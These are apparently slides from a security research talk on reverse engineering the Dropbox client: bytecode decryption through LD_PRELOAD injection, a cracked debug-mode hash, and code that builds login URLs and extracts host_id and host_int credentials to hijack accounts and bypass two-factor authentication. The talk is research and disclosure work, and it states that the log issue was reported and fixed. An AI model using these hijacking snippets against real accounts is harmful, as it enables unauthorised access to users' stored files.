

Looking inside the (Drop) box

Breaking a 10 billion USD product;)

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About Przemysław

▶ Freelance software developer, Python user

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Agenda

- ► About Dropbox
- Existing Work
- Unpack, decrypt and decompile Dropbox
- Hijacking Dropbox accounts
- Bypassing SSL and 2FA
- Dropbox OSS client
- ▶ DEMO :-)

About Dropbox

- Leading cloud based file storage service
- ▶ 175 million+ users and growing fast
- Worth 10 billion USD
- Runs almost anywhere (no Java crap!)
- Dropbox client, a modified interpreter running obfuscated Python bytecode

Existing Work

- (2012) A Critical Analysis of Dropbox Software Security, Nicolas RUFF and Florian LEDOUX (EADS guys)
- ► EADS guys analyzed versions 1.1.x to 1.5.x. Fails for 1.6.x released in November, 2012.
- Mostly kept the "juicy" bits (like source code) to themselves
- "dropboxdec" by Hagen Fritsch in 2012, for versions 1.1.x only

Earlier reversing techniques

- pyREtic (Rich Smith, Black Hat / DEFCON 2010) doesn't work for reversing Dropbox since co_code (code object attribute, raw bytecode) can't be accessed anymore at the Python layer
- Replacing .pyc with .py to control execution doesn't work!
- "Reverse Engineering Python Applications" (WOOT '08 paper, Aaron Portnoy) technique doesn't work for the same reason
- Dropbox is "challenging" to reverse and existing techniques fail

Dropbox 1.1.x to 2.3.19

- (Most) Dropbox clients are written mostly in Python
- py2exe is used for packaging Windows client
- Python27.dll (customized version) can be extracted from Dropbox.exe using PE Explorer
- Dropbox.exe also contains a ZIP of all encrypted PYC files (bytecode)

What about Linux version?

 bbFreeze is (most likely) used for packaging Linux clients

Static linking is used. There is no Python / OpenSSL .so file to extract and analyze in IDA Pro :-(

Extract encrypted bytecode, "unpacker"

```
import zipfile
fileName = "Dropbox.exe"
ztype = zipfile.ZIP DEFLATED
f = zipfile.PyZipFile(fileName, "r", ztype)
f.extractall("pyc_orig")
# Works on all versions & all platforms!
```

Bytecode (.pyc) decryption

- No human-readable strings in .pyc files encrypted!
- .pyc files are simply code objects marshaled (serialized)
- Analyzed Python27.dll (modified Python interpreter) from the Windows version of Dropbox
- ► We found Python's r_object () (marshal.c) function patched to decrypt code objects upon loading
- ► Also .pyc magic number was changed trivial to fix

.pyc decryption

- ► To decrypt the buffer r_object () calls a separate function inside Python27.dll
- Why not call this decryption function from outside the DLL?
- Hard-coded address, as it has no symbol attached
- Unusual calling ABI, inline ASM saves the day!
- Slightly tricky due to code objects nested recursively
- ▶ No need at all to analyse the encryption algorithm, keys, etc.

Opcode Remapping

- ▶ Valid strings, but .pyc files still fail to load
- ► CPython is a simple opcode (1 byte long) interpreter
- ceval.c is mostly a big switch statement inside a loop
- It was patched to use different opcode values
- Mapping recovered manually by comparing disassembled
 DLL with standard ceval.c
- ► The most time consuming part ca. 1 evening ;)

Bytecode decryption on Linux

- Everything statically linked into a single binary
- Decryption function inlined into r_object(),
 we can no longer call it from outside
- Need to find a more robust approach
- How about loading .pyc files and serializing them back?
- How do we gain control flow to load these .pyc files?

Good, old LD_PRELOAD

► We can use LD_PRELOAD to inject our C code into dropbox process

```
export LD PRELOAD=libdedrop.so
```

- ▶ Just override some common C function like strlen() to gain control
- Can we inject Python code this way?
- ▶ Yeah, we can call PyRun_SimpleString
- BTW, it's official Python C API
- ▶ Look Ma, my Python file running inside a Dropbox binary!

Decryption for FREE!

- ► We can use LD_PRELOAD to inject our C code into dropbox process
- ► From injected code we can call another un-marshalling function, PyMarshal_ReadLastObjectFromFile
- It loads (and decrypts!) the code objects from encrypted .pyc file
- ▶ We no longer care about decryption, we get it for free!
- ▶ We still need to remap the opcodes, though!

Solving Opcode Mapping

- Opcode mapping was recovered manually initially
- ► Tedious and not future-proof at all
- We can NOW recover the mapping in a fully automated way
- Restored the *import* functionality in Dropbox
- all.py exercises > 95% of the opcodes, compile under both interpreters and do simple mapping between two bytecode versions

Missing co_code at Python layer

- ▶ co_code is not visible to the Python layer
- Layout of structure hosting co code's is unknown!
- Need to find offset of co code somehow
- Create new code object with known code string using PyCode New()
- Use linear memory scan to locate the offset of the known code stream
- ► Problem Solved ;)

Decryption for FREE!

▶ The missing part - serializing it back to file

- Object marshalling was stripped from Dropbox's Python, for good reasons;)
- ▶ We used PyPy's _marshal.py
- ... and yes, we inject the whole thing into the Dropbox process.

Decrypting encrypted bytecode

- Our method is a lot shorter, easier and more reliable than FADS one
- Around 200 lines of easy C, 350 lines of Python (including marshal code from PyPy)
- Robust, as we don't even need to deal with decryption ourselves
- Worked with all versions of Dropbox that we used for testing

Decompiling decrypted bytecode

- ▶ uncompyle2
- ► A Python 2.5, 2.6, 2.7 byte-code decompiler, written in Python 2.7
- https://github.com/Mysterie/uncompyle2
- Super easy to use (\$ uncompyle2 code.pyc) and it works great!
- We used https://github.com/wibiti/uncompyle2 since it is a bit more stable!

Interesting code snippets

```
IS_DEV_MAGIC = DBDEV and hashlib.md5(DBDEV)
    .hexdigest().startswith('c3da6009e4')
```

- Logging is a "protected" developers-only feature
- Turning IS_DEV_MAGIC on enables debug mode which results in a lot of logging output
- It is possible to externally set this DBDEV environment variable

Cracking partial MD5 hash

- Wrote JtR plug-in for cracking the partial hash
- Superjames from #openwall cracked it before our plug-in had a chance

```
$ echo -en "a2y6shya" | md5sum
c3da6009e40a6f572240b8ea7e814c60
```

```
$ export DBDEV=a2y6shya; dropboxd
```

- ▶ This results in Dropbox printing debug logs to console
- ▶ So what? What is interesting about these logs?

host_id (Key Security Item)

- ► Each endpoint registration is associated with a unique, persistent 128-bit secret value called host_id
- Generated by server during installation. Not affected by password changes!
- host_id was stored in clear-text (in older versions) in a SQLite database
- In earlier versions of Dropbox, getting host_id was enough to hijack accounts (Derek Newton)
- host_id is now stored in encrypted fashion
- Also, we need host_id and "host_int" these days

Hijacking accounts using logs!

- host_id and host_int can be extracted from the DEBUG logs!
- This method is used in dropbox_creds.rb (Metasploit post module) plug-in to hijack Dropbox accounts.

https://github.com/rapid7/metasploit-framework/pull/1497

Fixed after we reported it to Dropbox guys

host_id and host_int

- In addition, host_id can be extracted from \$HOME/.dropbox/config.dbx (using tools published by EADS guys)
- host_id and host_int can also be extracted from memory of the Dropbox process (more on this later)
- host_int can be "sniffed" from Dropbox LAN sync protocol traffic

LAN sync protocol + host_int sniffing

- host_int can be "sniffed" from Dropbox's LAN sync protocol traffic (but this protocol can be disabled by the user)
- Wrote Ettercap plug-in since Nmap plug-in was broken!
 https://github.com/kholia/ettercap/tree/dropbox
- \$ nmap -p17500 -script=broadcast-dropbox-listener -script-args=newtargets
- host_int doesn't seem to change (is it fixed by design?)

Dropbox Tray Login

What do I do with host_id and host_int?

How does the Dropbox client automagically log in a user to its website from the tray icon?



▶ Use the Source, Luke!

Web link generation

```
host_id = ? # required!
host_int = ? # required!
baseurl = "https://www.dropbox.com/tray_login"
fixed secret = "ssKeevie4jeeVie9bEen5baRFin9"
now = int(time.time())
h = hashlib.sha1('%s%s' % (fixed secret,
       host id, now)).hexdigest()
url = "%s?i=%d&t=%d&v=%s&url=home&cl=en US" %
        (baseurl, host int, now, h)
print url # :-)
```

More host_int hacks

host_int is received from the Dropbox server at the very start

So can we ask the server for it?

Turns out it is "easy" to do so

Get host_int from server!

```
host_id = ? # required!
ctype = 'application/x-www-form-urlencoded'
baseurl = 'https://client10.dropbox.com/'
data = "buildno=Dropbox-win-1.7.5&tag=&\
        uuid=123456&server_list=True&\
        host id=%s&hostname=random" % host id
headers = {'content-type': ctype}
r = requests.post(url + 'register_host',
        data=data, headers=headers)
data = json.loads(r.text)
host int = data["host int"]
# host_id is EVERYTHING in Dropbox world!
```

Question?

You can't sniff Dropbox traffic!

So, how did we manage to figure out all these internal API calls?

Reading code is "hard"!

Reflective DLL injection / LD_PRELOAD

 Inject a custom DLL / DSO, patch Python objects and bypass SSL encryption

Find SSLSocket objects and patch their read(), write() and send() methods

Can also steal host_id, host_int or whatever we want!

Patching & Snooping

```
# 1. Inject code into Dropbox.
 2. Locate PyRun_SimpleString using dlsym
     from within the Dropbox process
# 3. Feed the following code to the located
 PyRun_SimpleString
import qc
objs = qc.qet objects()
for obj in objs:
   if hasattr(obj, "host id"):
       print obj.host id
   if hasattr(obj, "host int"):
       print obj.host int
```

Dropbox API and bypassing 2FA

- Bypassed SSL and peeked at traffic to understand the internal API
- Now it is possible to write an open-source Dropbox client
- Dropbox's two factor authentication can be bypassed by using this internal API!
- Inject / Use host_id, bypass 2FA, gain access to Dropbox's website + all data!
- host_id trumps all other security measures!

Challenges / Future Work

- ► "export DBDEV=a2y6shya" trick is patched in 2.0.0 (current stable release). Dropbox guys now check full hash value.
- SHA-256 hash
 'e27eae61e774b19f4053361e523c771a92e8380
 26da42c60e6b097d9cb2bc825'
- Can we break this SHA-256 hash?
- Can we run from the decompiled "sources"? ;)



Get Dropbox

Extracting and decompiling bytecode

Accounting hijacking (dropbox-jack-v2.py)

Dropbox OSS client

Resources

Dropbox OSS PoC client, dedrop, all our source-code!

https://github.com/kholia/dedrop

https://github.com/wibiti/uncompyle2.git

https://github.com/kholia/dbx-keygen-linux.git

Fun Stuff;)

http_authentication.py file contains:

'fak returned', FakeShit realm="hi"

NTLM realm="your mom", you="suck",

Digest realm=""hi", Shit"

- There actually is a file named "ultimatesymlinkresolver.py"
 Can't really say what is so "ultimate" about resolving symlinks;)
- ▶ Dropbox runs nginx, "nginx/1.2.7"

Questions & Discussion



- ► Are the obfuscation measures helping Dropbox and their users? Is this "arms-race" going to stop?
- ► Dhiru Kholia (dhiru@openwall.com)
- Przemysław Węgrzyn (pwegrzyn@codepainters.com)

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- EADS guys and wibiti for their work on uncompyle2
- Dropbox for being so awesome!

Thanks!

